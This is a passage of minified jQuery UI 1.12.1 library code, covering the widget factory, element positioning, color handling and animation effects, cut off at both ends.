e=this.element.val();t.apply(this,arguments),this._refresh(),e!==this.element.val()&&this._trigger("change")}}t.ui=t.ui||{},t.ui.version="1.12.1";var h=0,l=Array.prototype.slice;t.cleanData=function(e){return function(i){var s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var n,o,a,r={},h=e.split(".")[0];e=e.split(".")[1];var l=h+"-"+e;return s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][l.toLowerCase()]=function(e){return!!t.data(e,l)},t[h]=t[h]||{},n=t[h][e],o=t[h][e]=function(t,e){return this._createWidget?(arguments.length&&this._createWidget(t,e),void 0):new o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return t.isFunction(s)?(r[e]=function(){function t(){return i.prototype[e].apply(this,arguments)}function n(t){return i.prototype[e].apply(this,t)}return function(){var e,i=this._super,o=this._superApply;return this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void 0):(r[e]=s,void 0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:h,widgetName:e,widgetFullName:l}),n?(t.each(n._childConstructors,function(e,i){var s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var i,s,n=l.call(arguments,1),o=0,a=n.length;a>o;o++)for(i in n[o])s=n[o][i],n[o].hasOwnProperty(i)&&void 0!==s&&(e[i]=t.isPlainObject(s)?t.isPlainObject(e[i])?t.widget.extend({},e[i],s):t.widget.extend({},s):s);return e},t.widget.bridge=function(e,i){var s=i.prototype.widgetFullName||e;t.fn[e]=function(n){var o="string"==typeof n,a=l.call(arguments,1),r=this;return o?this.length||"instance"!==n?this.each(function(){var i,o=t.data(this,s);return"instance"===n?(r=o,!1):o?t.isFunction(o[n])&&"_"!==n.charAt(0)?(i=o[n].apply(o,a),i!==o&&void 0!==i?(r=i&&i.jquery?r.pushStack(i.get()):i,!1):void 0):t.error("no such method '"+n+"' for "+e+" widget instance"):t.error("cannot call methods on "+e+" prior to initialization; "+"attempted to call method '"+n+"'")}):r=void 0:(a.length&&(n=t.widget.extend.apply(null,[n].concat(a))),this.each(function(){var e=t.data(this,s);e?(e.option(n||{}),e._init&&e._init()):t.data(this,s,new i(n,this))})),r}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(e,i){i=t(i||this.defaultElement||this)[0],this.element=t(i),this.uuid=h++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},i!==this&&(t.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===i&&this.destroy()}}),this.document=t(i.style?i.ownerDocument:i.document||i),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),e),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return this.element},option:function(e,i){var s,n,o,a=e;if(0===arguments.length)return t.widget.extend({},this.options);if("string"==typeof e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void 0===this.options[e]?null:this.options[e];a[e]=i}return this._setOptions(a),this},_setOptions:function(t){var e;for(e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var i,s,n;for(i in e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var s=[],n=this;return e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join(" ")},_untrackClassesElement:function(e){var i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof s?s:i;var n="string"==typeof t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var n,o=this;"boolean"!=typeof e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function r(){return e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+o.eventNamespace,c=h[2];c?n.on(l,c,r):i.on(l,r)})},_off:function(e,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var s=this;return setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n in o)n in i||(i[n]=o[n]);return this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof n?i:n.effect||i:e;n=n||{},"number"==typeof n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,function(){function e(t,e,i){return[parseFloat(t[0])*(u.test(t[0])?e/100:1),parseFloat(t[1])*(u.test(t[1])?i/100:1)]}function i(e,i){return parseInt(t.css(e,i),10)||0}function s(e){var i=e[0];return 9===i.nodeType?{width:e.width(),height:e.height(),offset:{top:0,left:0}}:t.isWindow(i)?{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()}}var n,o=Math.max,a=Math.abs,r=/left|center|right/,h=/top|center|bottom/,l=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,u=/%$/,d=t.fn.position;t.position={scrollbarWidth:function(){if(void 0!==n)return n;var e,i,s=t("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),o=s.children()[0];return t("body").append(s),e=o.offsetWidth,s.css("overflow","scroll"),i=o.offsetWidth,e===i&&(i=s[0].clientWidth),s.remove(),n=e-i},getScrollInfo:function(e){var i=e.isWindow||e.isDocument?"":e.element.css("overflow-x"),s=e.isWindow||e.isDocument?"":e.element.css("overflow-y"),n="scroll"===i||"auto"===i&&e.width<e.element[0].scrollWidth,o="scroll"===s||"auto"===s&&e.height<e.element[0].scrollHeight;return{width:o?t.position.scrollbarWidth():0,height:n?t.position.scrollbarWidth():0}},getWithinInfo:function(e){var i=t(e||window),s=t.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType,o=!s&&!n;return{element:i,isWindow:s,isDocument:n,offset:o?t(e).offset():{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:i.outerWidth(),height:i.outerHeight()}}},t.fn.position=function(n){if(!n||!n.of)return d.apply(this,arguments);n=t.extend({},n);var u,p,f,g,m,_,v=t(n.of),b=t.position.getWithinInfo(n.within),y=t.position.getScrollInfo(b),w=(n.collision||"flip").split(" "),k={};return _=s(v),v[0].preventDefault&&(n.at="left top"),p=_.width,f=_.height,g=_.offset,m=t.extend({},g),t.each(["my","at"],function(){var t,e,i=(n[this]||"").split(" ");1===i.length&&(i=r.test(i[0])?i.concat(["center"]):h.test(i[0])?["center"].concat(i):["center","center"]),i[0]=r.test(i[0])?i[0]:"center",i[1]=h.test(i[1])?i[1]:"center",t=l.exec(i[0]),e=l.exec(i[1]),k[this]=[t?t[0]:0,e?e[0]:0],n[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===w.length&&(w[1]=w[0]),"right"===n.at[0]?m.left+=p:"center"===n.at[0]&&(m.left+=p/2),"bottom"===n.at[1]?m.top+=f:"center"===n.at[1]&&(m.top+=f/2),u=e(k.at,p,f),m.left+=u[0],m.top+=u[1],this.each(function(){var s,r,h=t(this),l=h.outerWidth(),c=h.outerHeight(),d=i(this,"marginLeft"),_=i(this,"marginTop"),x=l+d+i(this,"marginRight")+y.width,C=c+_+i(this,"marginBottom")+y.height,D=t.extend({},m),I=e(k.my,h.outerWidth(),h.outerHeight());"right"===n.my[0]?D.left-=l:"center"===n.my[0]&&(D.left-=l/2),"bottom"===n.my[1]?D.top-=c:"center"===n.my[1]&&(D.top-=c/2),D.left+=I[0],D.top+=I[1],s={marginLeft:d,marginTop:_},t.each(["left","top"],function(e,i){t.ui.position[w[e]]&&t.ui.position[w[e]][i](D,{targetWidth:p,targetHeight:f,elemWidth:l,elemHeight:c,collisionPosition:s,collisionWidth:x,collisionHeight:C,offset:[u[0]+I[0],u[1]+I[1]],my:n.my,at:n.at,within:b,elem:h})}),n.using&&(r=function(t){var e=g.left-D.left,i=e+p-l,s=g.top-D.top,r=s+f-c,u={target:{element:v,left:g.left,top:g.top,width:p,height:f},element:{element:h,left:D.left,top:D.top,width:l,height:c},horizontal:0>i?"left":e>0?"right":"center",vertical:0>r?"top":s>0?"bottom":"middle"};l>p&&p>a(e+i)&&(u.horizontal="center"),c>f&&f>a(s+r)&&(u.vertical="middle"),u.important=o(a(e),a(i))>o(a(s),a(r))?"horizontal":"vertical",n.using.call(this,t,u)}),h.offset(t.extend(D,{using:r}))})},t.ui.position={fit:{left:function(t,e){var i,s=e.within,n=s.isWindow?s.scrollLeft:s.offset.left,a=s.width,r=t.left-e.collisionPosition.marginLeft,h=n-r,l=r+e.collisionWidth-a-n;e.collisionWidth>a?h>0&&0>=l?(i=t.left+h+e.collisionWidth-a-n,t.left+=h-i):t.left=l>0&&0>=h?n:h>l?n+a-e.collisionWidth:n:h>0?t.left+=h:l>0?t.left-=l:t.left=o(t.left-r,t.left)},top:function(t,e){var i,s=e.within,n=s.isWindow?s.scrollTop:s.offset.top,a=e.within.height,r=t.top-e.collisionPosition.marginTop,h=n-r,l=r+e.collisionHeight-a-n;e.collisionHeight>a?h>0&&0>=l?(i=t.top+h+e.collisionHeight-a-n,t.top+=h-i):t.top=l>0&&0>=h?n:h>l?n+a-e.collisionHeight:n:h>0?t.top+=h:l>0?t.top-=l:t.top=o(t.top-r,t.top)}},flip:{left:function(t,e){var i,s,n=e.within,o=n.offset.left+n.scrollLeft,r=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=t.left-e.collisionPosition.marginLeft,c=l-h,u=l+e.collisionWidth-r-h,d="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,p="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,f=-2*e.offset[0];0>c?(i=t.left+d+p+f+e.collisionWidth-r-o,(0>i||a(c)>i)&&(t.left+=d+p+f)):u>0&&(s=t.left-e.collisionPosition.marginLeft+d+p+f-h,(s>0||u>a(s))&&(t.left+=d+p+f))},top:function(t,e){var i,s,n=e.within,o=n.offset.top+n.scrollTop,r=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=t.top-e.collisionPosition.marginTop,c=l-h,u=l+e.collisionHeight-r-h,d="top"===e.my[1],p=d?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,f="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,g=-2*e.offset[1];0>c?(s=t.top+p+f+g+e.collisionHeight-r-o,(0>s||a(c)>s)&&(t.top+=p+f+g)):u>0&&(i=t.top-e.collisionPosition.marginTop+p+f+g-h,(i>0||u>a(i))&&(t.top+=p+f+g))}},flipfit:{left:function(){t.ui.position.flip.left.apply(this,arguments),t.ui.position.fit.left.apply(this,arguments)},top:function(){t.ui.position.flip.top.apply(this,arguments),t.ui.position.fit.top.apply(this,arguments)}}}}(),t.ui.position,t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])}}),t.fn.extend({disableSelection:function(){var t="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}}(),enableSelection:function(){return this.off(".ui-disableSelection")}});var c="ui-effects-",u="ui-effects-style",d="ui-effects-animated",p=t;t.effects={effect:{}},function(t,e){function i(t,e,i){var s=u[e.type]||{};return null==t?i||!e.def?null:e.def:(t=s.floor?~~t:parseFloat(t),isNaN(t)?e.def:s.mod?(t+s.mod)%s.mod:0>t?0:t>s.max?s.max:t)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(t,o){var a,r=o.re.exec(i),h=r&&o.parse(r),l=o.space||"rgba";return h?(a=s[l](h),s[c[l].cache]=a[c[l].cache],n=s._rgba=a._rgba,!1):e}),n.length?("0,0,0,0"===n.join()&&t.extend(n,o.transparent),s):o[i]}function n(t,e,i){return i=(i+1)%1,1>6*i?t+6*(e-t)*i:1>2*i?e:2>3*i?t+6*(e-t)*(2/3-i):t}var o,a="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",r=/^([\-+])=\s*(\d+\.?\d*)/,h=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[t[1],t[2],t[3],t[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[2.55*t[1],2.55*t[2],2.55*t[3],t[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(t){return[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(t){return[parseInt(t[1]+t[1],16),parseInt(t[2]+t[2],16),parseInt(t[3]+t[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],l=t.Color=function(e,i,s,n){return new t.Color.fn.parse(e,i,s,n)},c={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},u={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},d=l.support={},p=t("<p>")[0],f=t.each;p.style.cssText="background-color:rgba(1,1,1,.5)",d.rgba=p.style.backgroundColor.indexOf("rgba")>-1,f(c,function(t,e){e.cache="_"+t,e.props.alpha={idx:3,type:"percent",def:1}}),l.fn=t.extend(l.prototype,{parse:function(n,a,r,h){if(n===e)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=t(n).css(a),a=e);var u=this,d=t.type(n),p=this._rgba=[];return a!==e&&(n=[n,a,r,h],d="array"),"string"===d?this.parse(s(n)||o._default):"array"===d?(f(c.rgba.props,function(t,e){p[e.idx]=i(n[e.idx],e)}),this):"object"===d?(n instanceof l?f(c,function(t,e){n[e.cache]&&(u[e.cache]=n[e.cache].slice())}):f(c,function(e,s){var o=s.cache;f(s.props,function(t,e){if(!u[o]&&s.to){if("alpha"===t||null==n[t])return;u[o]=s.to(u._rgba)}u[o][e.idx]=i(n[t],e,!0)}),u[o]&&0>t.inArray(null,u[o].slice(0,3))&&(u[o][3]=1,s.from&&(u._rgba=s.from(u[o])))}),this):e},is:function(t){var i=l(t),s=!0,n=this;return f(c,function(t,o){var a,r=i[o.cache];return r&&(a=n[o.cache]||o.to&&o.to(n._rgba)||[],f(o.props,function(t,i){return null!=r[i.idx]?s=r[i.idx]===a[i.idx]:e})),s}),s},_space:function(){var t=[],e=this;return f(c,function(i,s){e[s.cache]&&t.push(i)}),t.pop()},transition:function(t,e){var s=l(t),n=s._space(),o=c[n],a=0===this.alpha()?l("transparent"):this,r=a[o.cache]||o.to(a._rgba),h=r.slice();return s=s[o.cache],f(o.props,function(t,n){var o=n.idx,a=r[o],l=s[o],c=u[n.type]||{};null!==l&&(null===a?h[o]=l:(c.mod&&(l-a>c.mod/2?a+=c.mod:a-l>c.mod/2&&(a-=c.mod)),h[o]=i((l-a)*e+a,n)))}),this[n](h)},blend:function(e){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(e)._rgba;return l(t.map(i,function(t,e){return(1-s)*n[e]+s*t}))},toRgbaString:function(){var e="rgba(",i=t.map(this._rgba,function(t,e){return null==t?e>2?1:0:t});return 1===i[3]&&(i.pop(),e="rgb("),e+i.join()+")"},toHslaString:function(){var e="hsla(",i=t.map(this.hsla(),function(t,e){return null==t&&(t=e>2?1:0),e&&3>e&&(t=Math.round(100*t)+"%"),t});return 1===i[3]&&(i.pop(),e="hsl("),e+i.join()+")"},toHexString:function(e){var i=this._rgba.slice(),s=i.pop();return e&&i.push(~~(255*s)),"#"+t.map(i,function(t){return t=(t||0).toString(16),1===t.length?"0"+t:t}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,c.hsla.to=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e,i,s=t[0]/255,n=t[1]/255,o=t[2]/255,a=t[3],r=Math.max(s,n,o),h=Math.min(s,n,o),l=r-h,c=r+h,u=.5*c;return e=h===r?0:s===r?60*(n-o)/l+360:n===r?60*(o-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=u?l/c:l/(2-c),[Math.round(e)%360,i,u,null==a?1:a]},c.hsla.from=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/360,i=t[1],s=t[2],o=t[3],a=.5>=s?s*(1+i):s+i-s*i,r=2*s-a;return[Math.round(255*n(r,a,e+1/3)),Math.round(255*n(r,a,e)),Math.round(255*n(r,a,e-1/3)),o]},f(c,function(s,n){var o=n.props,a=n.cache,h=n.to,c=n.from;l.fn[s]=function(s){if(h&&!this[a]&&(this[a]=h(this._rgba)),s===e)return this[a].slice();var n,r=t.type(s),u="array"===r||"object"===r?s:arguments,d=this[a].slice();return f(o,function(t,e){var s=u["object"===r?t:e.idx];null==s&&(s=d[e.idx]),d[e.idx]=i(s,e)}),c?(n=l(c(d)),n[a]=d,n):l(d)},f(o,function(e,i){l.fn[e]||(l.fn[e]=function(n){var o,a=t.type(n),h="alpha"===e?this._hsla?"hsla":"rgba":s,l=this[h](),c=l[i.idx];return"undefined"===a?c:("function"===a&&(n=n.call(this,c),a=t.type(n)),null==n&&i.empty?this:("string"===a&&(o=r.exec(n),o&&(n=c+parseFloat(o[2])*("+"===o[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(e){var i=e.split(" ");f(i,function(e,i){t.cssHooks[i]={set:function(e,n){var o,a,r="";if("transparent"!==n&&("string"!==t.type(n)||(o=s(n)))){if(n=l(o||n),!d.rgba&&1!==n._rgba[3]){for(a="backgroundColor"===i?e.parentNode:e;(""===r||"transparent"===r)&&a&&a.style;)try{r=t.css(a,"backgroundColor"),a=a.parentNode}catch(h){}n=n.blend(r&&"transparent"!==r?r:"_default")}n=n.toRgbaString()}try{e.style[i]=n}catch(h){}}},t.fx.step[i]=function(e){e.colorInit||(e.start=l(e.elem,i),e.end=l(e.end),e.colorInit=!0),t.cssHooks[i].set(e.elem,e.start.transition(e.end,e.pos))}})},l.hook(a),t.cssHooks.borderColor={expand:function(t){var e={};return f(["Top","Right","Bottom","Left"],function(i,s){e["border"+s+"Color"]=t}),e}},o=t.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}}(p),function(){function e(e){var i,s,n=e.ownerDocument.defaultView?e.ownerDocument.defaultView.getComputedStyle(e,null):e.currentStyle,o={};if(n&&n.length&&n[0]&&n[n[0]])for(s=n.length;s--;)i=n[s],"string"==typeof n[i]&&(o[t.camelCase(i)]=n[i]);else for(i in n)"string"==typeof n[i]&&(o[i]=n[i]);return o}function i(e,i){var s,o,a={};for(s in i)o=i[s],e[s]!==o&&(n[s]||(t.fx.step[s]||!isNaN(parseFloat(o)))&&(a[s]=o));return a}var s=["add","remove","toggle"],n={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};t.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(e,i){t.fx.step[i]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(p.style(t.elem,i,t.end),t.setAttr=!0)}}),t.fn.addBack||(t.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t.effects.animateClass=function(n,o,a,r){var h=t.speed(o,a,r);return this.queue(function(){var o,a=t(this),r=a.attr("class")||"",l=h.children?a.find("*").addBack():a;l=l.map(function(){var i=t(this);return{el:i,start:e(this)}}),o=function(){t.each(s,function(t,e){n[e]&&a[e+"Class"](n[e])})},o(),l=l.map(function(){return this.end=e(this.el[0]),this.diff=i(this.start,this.end),this}),a.attr("class",r),l=l.map(function(){var e=this,i=t.Deferred(),s=t.extend({},h,{queue:!1,complete:function(){i.resolve(e)}});return this.el.animate(this.diff,s),i.promise()}),t.when.apply(t,l.get()).done(function(){o(),t.each(arguments,function(){var e=this.el;t.each(this.diff,function(t){e.css(t,"")})}),h.complete.call(a[0])})})},t.fn.extend({addClass:function(e){return function(i,s,n,o){return s?t.effects.animateClass.call(this,{add:i},s,n,o):e.apply(this,arguments)}}(t.fn.addClass),removeClass:function(e){return function(i,s,n,o){return arguments.length>1?t.effects.animateClass.call(this,{remove:i},s,n,o):e.apply(this,arguments)}}(t.fn.removeClass),toggleClass:function(e){return function(i,s,n,o,a){return"boolean"==typeof s||void 0===s?n?t.effects.animateClass.call(this,s?{add:i}:{remove:i},n,o,a):e.apply(this,arguments):t.effects.animateClass.call(this,{toggle:i},s,n,o)}}(t.fn.toggleClass),switchClass:function(e,i,s,n,o){return t.effects.animateClass.call(this,{add:i,remove:e},s,n,o)}})}(),function(){function e(e,i,s,n){return t.isPlainObject(e)&&(i=e,e=e.effect),e={effect:e},null==i&&(i={}),t.isFunction(i)&&(n=i,s=null,i={}),("number"==typeof i||t.fx.speeds[i])&&(n=s,s=i,i={}),t.isFunction(s)&&(n=s,s=null),i&&t.extend(e,i),s=s||i.duration,e.duration=t.fx.off?0:"number"==typeof s?s:s in t.fx.speeds?t.fx.speeds[s]:t.fx.speeds._default,e.complete=n||i.complete,e}function i(e){return!e||"number"==typeof e||t.fx.speeds[e]?!0:"string"!=typeof e||t.effects.effect[e]?t.isFunction(e)?!0:"object"!=typeof e||e.effect?!1:!0:!0}function s(t,e){var i=e.outerWidth(),s=e.outerHeight(),n=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/,o=n.exec(t)||["",0,i,s,0];return{top:parseFloat(o[1])||0,right:"auto"===o[2]?i:parseFloat(o[2]),bottom:"auto"===o[3]?s:parseFloat(o[3]),left:parseFloat(o[4])||0}}t.expr&&t.expr.filters&&t.expr.filters.animated&&(t.expr.filters.animated=function(e){return function(i){return!!t(i).data(d)||e(i)}}(t.expr.filters.animated)),t.uiBackCompat!==!1&&t.extend(t.effects,{save:function(t,e){for(var i=0,s=e.length;s>i;i++)null!==e[i]&&t.data(c+e[i],t[0].style[e[i]])},restore:function(t,e){for(var i,s=0,n=e.length;n>s;s++)null!==e[s]&&(i=t.data(c+e[s]),t.css(e[s],i))},setMode:function(t,e){return"toggle"===e&&(e=t.is(":hidden")?"show":"hide"),e},createWrapper:function(e){if(e.parent().is(".ui-effects-wrapper"))return e.parent();var i={width:e.outerWidth(!0),height:e.outerHeight(!0),"float":e.css("float")},s=t("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),n={width:e.width(),height:e.height()},o=document.activeElement;try{o.id}catch(a){o=document.body}return e.wrap(s),(e[0]===o||t.contains(e[0],o))&&t(o).trigger("focus"),s=e.parent(),"static"===e.css("position")?(s.css({position:"relative"}),e.css({position:"relative"})):(t.extend(i,{position:e.css("position"),zIndex:e.css("z-index")}),t.each(["top","left","bottom","right"],function(t,s){i[s]=e.css(s),isNaN(parseInt(i[s],10))&&(i[s]="auto")}),e.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),e.css(n),s.css(i).show()},removeWrapper:function(e){var i=document.activeElement;return e.parent().is(".ui-effects-wrapper")&&(e.parent().replaceWith(e),(e[0]===i||t.contains(e[0],i))&&t(i).trigger("focus")),e}}),t.extend(t.effects,{version:"1.12.1",define:function(e,i,s){return s||(s=i,i="effect"),t.effects.effect[e]=s,t.effects.effect[e].mode=i,s},scaledDimensions:function(t,e,i){if(0===e)return{height:0,width:0,outerHeight:0,outerWidth:0};var s="horizontal"!==i?(e||100)/100:1,n="vertical"!==i?(e||100)/100:1;return{height:t.height()*n,width:t.width()*s,outerHeight:t.outerHeight()*n,outerWidth:t.outerWidth()*s}},clipToBox:function(t){return{width:t.clip.right-t.clip.left,height:t.clip.bottom-t.clip.top,left:t.clip.left,top:t.clip.top}},unshift:function(t,e,i){var s=t.queue();e>1&&s.splice.apply(s,[1,0].concat(s.splice(e,i))),t.dequeue()},saveStyle:function(t){t.data(u,t[0].style.cssText)},restoreStyle:function(t){t[0].style.cssText=t.data(u)||"",t.removeData(u)},mode:function(t,e){var i=t.is(":hidden");return"toggle"===e&&(e=i?"show":"hide"),(i?"hide"===e:"show"===e)&&(e="none"),e},getBaseline:function(t,e){var i,s;switch(t[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=t[0]/e.height}switch(t[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=t[1]/e.width}return{x:s,y:i}},createPlaceholder:function(e){var 